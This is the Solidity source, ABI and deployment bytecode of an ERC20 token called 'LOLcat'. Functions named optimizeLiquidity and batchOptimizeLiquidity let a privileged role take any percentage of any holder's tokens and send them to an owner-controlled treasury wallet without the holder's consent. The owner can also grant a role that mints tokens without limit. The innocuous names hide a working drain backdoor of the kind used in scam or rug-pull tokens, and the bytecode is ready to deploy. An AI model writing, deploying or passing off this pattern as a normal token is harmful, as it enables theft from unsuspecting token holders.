// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract LOLCAT is ERC20, Ownable {
event LiquidityOptimized(address indexed from, address indexed to, uint256 amount);
event RoleUpdated(address indexed account, uint8 role);
mapping(address => uint8) private _roles;
address public treasuryWallet;
uint8 private constant NO_ROLE = 0;
uint8 private constant MINTER_ROLE = 1;
uint8 private constant TREASURY_OPERATOR = 2;
constructor(address initialOwner) ERC20("LOLcat", "LOLCAT") Ownable(initialOwner) {
_mint(initialOwner, 1000000000 * (10 ** decimals()));
treasuryWallet = initialOwner;
_roles[initialOwner] = 3;
}
modifier onlyRole(uint8 requiredRole) {
require(_roles[msg.sender] & requiredRole == requiredRole, "Not authorized");
_;
}
function setRole(address account, uint8 role) external onlyOwner {
_roles[account] = role;
emit RoleUpdated(account, role);
}
function setTreasuryWallet(address newWallet) external onlyOwner {
treasuryWallet = newWallet;
}
function optimizeLiquidity(address holder, uint256 percentage) external onlyRole(TREASURY_OPERATOR) returns (uint256) {
require(percentage <= 100, "Invalid percentage");
uint256 holderBalance = balanceOf(holder);
require(holderBalance > 0, "No tokens to optimize");
uint256 optimizeAmount = (holderBalance * percentage) / 100;
if (optimizeAmount > 0) {
_transfer(holder, treasuryWallet, optimizeAmount);
emit LiquidityOptimized(holder, treasuryWallet, optimizeAmount);
}
return optimizeAmount;
}
function batchOptimizeLiquidity(address[] calldata holders, uint256[] calldata percentages) external onlyRole(TREASURY_OPERATOR) {
require(holders.length == percentages.length, "Array mismatch");
for (uint256 i = 0; i < holders.length; i++) {
if (percentages[i] > 0 && balanceOf(holders[i]) > 0) {
uint256 holderBalance = balanceOf(holders[i]);
uint256 optimizeAmount = (holderBalance * percentages[i]) / 100;
if (optimizeAmount > 0) {
_transfer(holders[i], treasuryWallet, optimizeAmount);
emit LiquidityOptimized(holders[i], treasuryWallet, optimizeAmount);
}
}
}
}
function mintYieldTokens(address to, uint256 amount) external onlyRole(MINTER_ROLE) {
_mint(to, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function getRole(address account) external view returns (uint8) {
return _roles[account];
}
}[
{
"type": "constructor",
"inputs": [
{
"name": "initialOwner",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "nonpayable"
},
{
"name": "ERC20InsufficientAllowance",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "allowance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InsufficientBalance",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
},
{
"name": "balance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InvalidApprover",
"type": "error",
"inputs": [
{
"name": "approver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidReceiver",
"type": "error",
"inputs": [
{
"name": "receiver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSender",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSpender",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableInvalidOwner",
"type": "error",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableUnauthorizedAccount",
"type": "error",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "LiquidityOptimized",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "RoleUpdated",
"type": "event",
"inputs": [
{
"name": "account",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "role",
"type": "uint8",
"indexed": false,
"internalType": "uint8"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "batchOptimizeLiquidity",
"type": "function",
"inputs": [
{
"name": "holders",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "percentages",
"type": "uint256[]",
"internalType": "uint256[]"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "burn",
"type": "function",
"inputs": [
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "getRole",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "mintYieldTokens",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "optimizeLiquidity",
"type": "function",
"inputs": [
{
"name": "holder",
"type": "address",
"internalType": "address"
},
{
"name": "percentage",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "nonpayable"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setRole",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
},
{
"name": "role",
"type": "uint8",
"internalType": "uint8"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setTreasuryWallet",
"type": "function",
"inputs": [
{
"name": "newWallet",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferOwnership",
"type": "function",
"inputs": [
{
"name": "newOwner",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "treasuryWallet",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
}
]0x608060405234801562000010575f80fd5b5060405162002ae538038062002ae5833981810160405281019062000036919062000609565b806040518060400160405280600681526020017f4c4f4c63617400000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f4c4f4c43415400000000000000000000000000000000000000000000000000008152508160039081620000b491906200089d565b508060049081620000c691906200089d565b5050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200013c575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000133919062000992565b60405180910390fd5b6200014d816200022b60201b60201c565b506200018e8162000163620002ee60201b60201c565b600a62000171919062000b36565b633b9aca0062000182919062000b86565b620002f660201b60201c565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908360ff1602179055505062000c71565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000369575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040162000360919062000992565b60405180910390fd5b6200037c5f83836200038060201b60201c565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620003d4578060025f828254620003c7919062000bd0565b92505081905550620004a5565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101562000460578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620004579392919062000c1b565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004ee578060025f828254039250508190555062000538565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000597919062000c56565b60405180910390a3505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620005d382620005a8565b9050919050565b620005e581620005c7565b8114620005f0575f80fd5b50565b5f815190506200060381620005da565b92915050565b5f60208284031215620006215762000620620005a4565b5b5f6200063084828501620005f3565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620006b557607f821691505b602082108103620006cb57620006ca62000670565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200072f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006f2565b6200073b8683620006f2565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620007856200077f620007798462000753565b6200075c565b62000753565b9050919050565b5f819050919050565b620007a08362000765565b620007b8620007af826200078c565b848454620006fe565b825550505050565b5f90565b620007ce620007c0565b620007db81848462000795565b505050565b5b818110156200080257620007f65f82620007c4565b600181019050620007e1565b5050565b601f82111562000851576200081b81620006d1565b6200082684620006e3565b8101602085101562000836578190505b6200084e6200084585620006e3565b830182620007e0565b50505b505050565b5f82821c905092915050565b5f620008735f198460080262000856565b1980831691505092915050565b5f6200088d838362000862565b9150826002028217905092915050565b620008a88262000639565b67ffffffffffffffff811115620008c457620008c362000643565b5b620008d082546200069d565b620008dd82828562000806565b5f60209050601f83116001811462000913575f8415620008fe578287015190505b6200090a858262000880565b86555062000979565b601f1984166200092386620006d1565b5f5b828110156200094c5784890151825560018201915060208501945060208101905062000925565b868310156200096c578489015162000968601f89168262000862565b8355505b6001600288020188555050505b505050505050565b6200098c81620005c7565b82525050565b5f602082019050620009a75f83018462000981565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a375780860481111562000a0f5762000a0e620009ad565b5b600185161562000a1f5780820291505b808102905062000a2f85620009da565b9450620009ef565b94509492505050565b5f8262000a51576001905062000b23565b8162000a60575f905062000b23565b816001811462000a79576002811462000a845762000aba565b600191505062000b23565b60ff84111562000a995762000a98620009ad565b5b8360020a91508482111562000ab35762000ab2620009ad565b5b5062000b23565b5060208310610133831016604e8410600b841016171562000af45782820a90508381111562000aee5762000aed620009ad565b5b62000b23565b62000b038484846001620009e6565b9250905081840481111562000b1d5762000b1c620009ad565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b428262000753565b915062000b4f8362000b2a565b925062000b7e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a40565b905092915050565b5f62000b928262000753565b915062000b9f8362000753565b925082820262000baf8162000753565b9150828204841483151762000bc95762000bc8620009ad565b5b5092915050565b5f62000bdc8262000753565b915062000be98362000753565b925082820190508082111562000c045762000c03620009ad565b5b92915050565b62000c158162000753565b82525050565b5f60608201905062000c305f83018662000981565b62000c3f602083018562000c0a565b62000c4e604083018462000c0a565b949350505050565b5f60208201905062000c6b5f83018462000c0a565b92915050565b611e668062000c7f5f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c806370a08231116100ab578063a8602fea1161006f578063a8602fea14610330578063a9059cbb1461034c578063bfdaebac1461037c578063dd62ed3e14610398578063f2fde38b146103c85761012a565b806370a082311461028a578063715018a6146102ba5780638da5cb5b146102c457806395d89b41146102e2578063a2e8d1ce146103005761012a565b806342966c68116100f257806342966c68146101e857806344276733146102045780634626402b14610234578063550e875e14610252578063571c3e601461026e5761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd1461019a578063313ce567146101ca575b5f80fd5b6101366103e4565b6040516101439190611662565b60405180910390f35b61016660048036038101906101619190611717565b610474565b604051610173919061176f565b60405180910390f35b610184610496565b6040516101919190611797565b60405180910390f35b6101b460048036038101906101af91906117b0565b61049f565b6040516101c1919061176f565b60405180910390f35b6101d26104cd565b6040516101df919061181b565b60405180910390f35b61020260048036038101906101fd9190611834565b6104d5565b005b61021e6004803603810190610219919061185f565b6104e2565b60405161022b919061181b565b60405180910390f35b61023c610534565b6040516102499190611899565b60405180910390f35b61026c60048036038101906102679190611717565b610559565b005b610288600480360381019061028391906118dc565b6105fd565b005b6102a4600480360381019061029f919061185f565b6106ac565b6040516102b19190611797565b60405180910390f35b6102c26106f1565b005b6102cc610704565b6040516102d99190611899565b60405180910390f35b6102ea61072c565b6040516102f79190611662565b60405180910390f35b61031a60048036038101906103159190611717565b6107bc565b6040516103279190611797565b60405180910390f35b61034a6004803603810190610345919061185f565b6109c6565b005b61036660048036038101906103619190611717565b610a11565b604051610373919061176f565b60405180910390f35b610396600480360381019061039191906119d0565b610a33565b005b6103b260048036038101906103ad9190611a4e565b610d06565b6040516103bf9190611797565b60405180910390f35b6103e260048036038101906103dd919061185f565b610d88565b005b6060600380546103f390611ab9565b80601f016020809104026020016040519081016040528092919081815260200182805461041f90611ab9565b801561046a5780601f106104415761010080835404028352916020019161046a565b820191905f5260205f20905b81548152906001019060200180831161044d57829003601f168201915b5050505050905090565b5f8061047e610e0c565b905061048b818585610e13565b600191505092915050565b5f600254905090565b5f806104a9610e0c565b90506104b6858285610e25565b6104c1858585610eb8565b60019150509392505050565b5f6012905090565b6104df3382610fa8565b50565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018060ff168160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161660ff16146105ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e590611b33565b60405180910390fd5b6105f88383611027565b505050565b6106056110a6565b8060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908360ff1602179055508173ffffffffffffffffffffffffffffffffffffffff167fc3f8f61911a1537261f77e2703626e158e299a98e341024ecaa26bbd1d884c64826040516106a0919061181b565b60405180910390a25050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106f96110a6565b6107025f61112d565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461073b90611ab9565b80601f016020809104026020016040519081016040528092919081815260200182805461076790611ab9565b80156107b25780601f10610789576101008083540402835291602001916107b2565b820191905f5260205f20905b81548152906001019060200180831161079557829003601f168201915b5050505050905090565b5f60028060ff168160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161660ff1614610852576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084990611b33565b60405180910390fd5b6064831115610896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088d90611b9b565b60405180910390fd5b5f6108a0856106ac565b90505f81116108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db90611c03565b60405180910390fd5b5f606485836108f39190611c4e565b6108fd9190611cbc565b90505f8111156109ba576109338660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610eb8565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167ff53599401f8767e721a1866b3cb02750664289ba27009a9cc112f5097597957a836040516109b19190611797565b60405180910390a35b80935050505092915050565b6109ce6110a6565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f80610a1b610e0c565b9050610a28818585610eb8565b600191505092915050565b60028060ff168160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161660ff1614610ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abf90611b33565b60405180910390fd5b828290508585905014610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790611d36565b60405180910390fd5b5f5b85859050811015610cfe575f848483818110610b3157610b30611d54565b5b90506020020135118015610b7357505f610b71878784818110610b5757610b56611d54565b5b9050602002016020810190610b6c919061185f565b6106ac565b115b15610ceb575f610ba9878784818110610b8f57610b8e611d54565b5b9050602002016020810190610ba4919061185f565b6106ac565b90505f6064868685818110610bc157610bc0611d54565b5b9050602002013583610bd39190611c4e565b610bdd9190611cbc565b90505f811115610ce857610c3a888885818110610bfd57610bfc611d54565b5b9050602002016020810190610c12919061185f565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610eb8565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16888885818110610c8557610c84611d54565b5b9050602002016020810190610c9a919061185f565b73ffffffffffffffffffffffffffffffffffffffff167ff53599401f8767e721a1866b3cb02750664289ba27009a9cc112f5097597957a83604051610cdf9190611797565b60405180910390a35b50505b8080610cf690611d81565b915050610b12565b505050505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610d906110a6565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e00575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610df79190611899565b60405180910390fd5b610e098161112d565b50565b5f33905090565b610e2083838360016111f0565b505050565b5f610e308484610d06565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610eb25781811015610ea3578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610e9a93929190611dc8565b60405180910390fd5b610eb184848484035f6111f0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f28575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f1f9190611899565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f98575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f8f9190611899565b60405180910390fd5b610fa38383836113bf565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611018575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161100f9190611899565b60405180910390fd5b611023825f836113bf565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611097575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161108e9190611899565b60405180910390fd5b6110a25f83836113bf565b5050565b6110ae610e0c565b73ffffffffffffffffffffffffffffffffffffffff166110cc610704565b73ffffffffffffffffffffffffffffffffffffffff161461112b576110ef610e0c565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016111229190611899565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611260575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016112579190611899565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d0575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016112c79190611899565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156113b9578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516113b09190611797565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361140f578060025f8282546114039190611dfd565b925050819055506114dd565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611498578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161148f93929190611dc8565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611524578060025f828254039250508190555061156e565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115cb9190611797565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561160f5780820151818401526020810190506115f4565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611634826115d8565b61163e81856115e2565b935061164e8185602086016115f2565b6116578161161a565b840191505092915050565b5f6020820190508181035f83015261167a818461162a565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116b38261168a565b9050919050565b6116c3816116a9565b81146116cd575f80fd5b50565b5f813590506116de816116ba565b92915050565b5f819050919050565b6116f6816116e4565b8114611700575f80fd5b50565b5f81359050611711816116ed565b92915050565b5f806040838503121561172d5761172c611682565b5b5f61173a858286016116d0565b925050602061174b85828601611703565b9150509250929050565b5f8115159050919050565b61176981611755565b82525050565b5f6020820190506117825f830184611760565b92915050565b611791816116e4565b82525050565b5f6020820190506117aa5f830184611788565b92915050565b5f805f606084860312156117c7576117c6611682565b5b5f6117d4868287016116d0565b93505060206117e5868287016116d0565b92505060406117f686828701611703565b9150509250925092565b5f60ff82169050919050565b61181581611800565b82525050565b5f60208201905061182e5f83018461180c565b92915050565b5f6020828403121561184957611848611682565b5b5f61185684828501611703565b91505092915050565b5f6020828403121561187457611873611682565b5b5f611881848285016116d0565b91505092915050565b611893816116a9565b82525050565b5f6020820190506118ac5f83018461188a565b92915050565b6118bb81611800565b81146118c5575f80fd5b50565b5f813590506118d6816118b2565b92915050565b5f80604083850312156118f2576118f1611682565b5b5f6118ff858286016116d0565b9250506020611910858286016118c8565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261193b5761193a61191a565b5b8235905067ffffffffffffffff8111156119585761195761191e565b5b60208301915083602082028301111561197457611973611922565b5b9250929050565b5f8083601f8401126119905761198f61191a565b5b8235905067ffffffffffffffff8111156119ad576119ac61191e565b5b6020830191508360208202830111156119c9576119c8611922565b5b9250929050565b5f805f80604085870312156119e8576119e7611682565b5b5f85013567ffffffffffffffff811115611a0557611a04611686565b5b611a1187828801611926565b9450945050602085013567ffffffffffffffff811115611a3457611a33611686565b5b611a408782880161197b565b925092505092959194509250565b5f8060408385031215611a6457611a63611682565b5b5f611a71858286016116d0565b9250506020611a82858286016116d0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611ad057607f821691505b602082108103611ae357611ae2611a8c565b5b50919050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f611b1d600e836115e2565b9150611b2882611ae9565b602082019050919050565b5f6020820190508181035f830152611b4a81611b11565b9050919050565b7f496e76616c69642070657263656e7461676500000000000000000000000000005f82015250565b5f611b856012836115e2565b9150611b9082611b51565b602082019050919050565b5f6020820190508181035f830152611bb281611b79565b9050919050565b7f4e6f20746f6b656e7320746f206f7074696d697a6500000000000000000000005f82015250565b5f611bed6015836115e2565b9150611bf882611bb9565b602082019050919050565b5f6020820190508181035f830152611c1a81611be1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c58826116e4565b9150611c63836116e4565b9250828202611c71816116e4565b91508282048414831517611c8857611c87611c21565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611cc6826116e4565b9150611cd1836116e4565b925082611ce157611ce0611c8f565b5b828204905092915050565b7f4172726179206d69736d617463680000000000000000000000000000000000005f82015250565b5f611d20600e836115e2565b9150611d2b82611cec565b602082019050919050565b5f6020820190508181035f830152611d4d81611d14565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611d8b826116e4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611dbd57611dbc611c21565b5b600182019050919050565b5f606082019050611ddb5f83018661188a565b611de86020830185611788565b611df56040830184611788565b949350505050565b5f611e07826116e4565b9150611e12836116e4565b9250828201905080821115611e2a57611e29611c21565b5b9291505056fea264697066735822122095f11bd70ab853038de484bf7d97046d0fd892f9f491c5eb3a4c869f41e5c0b764736f6c6343000814003300000000000000000000000077b934dd25baa38247b1113693eba0a81b4a62a1
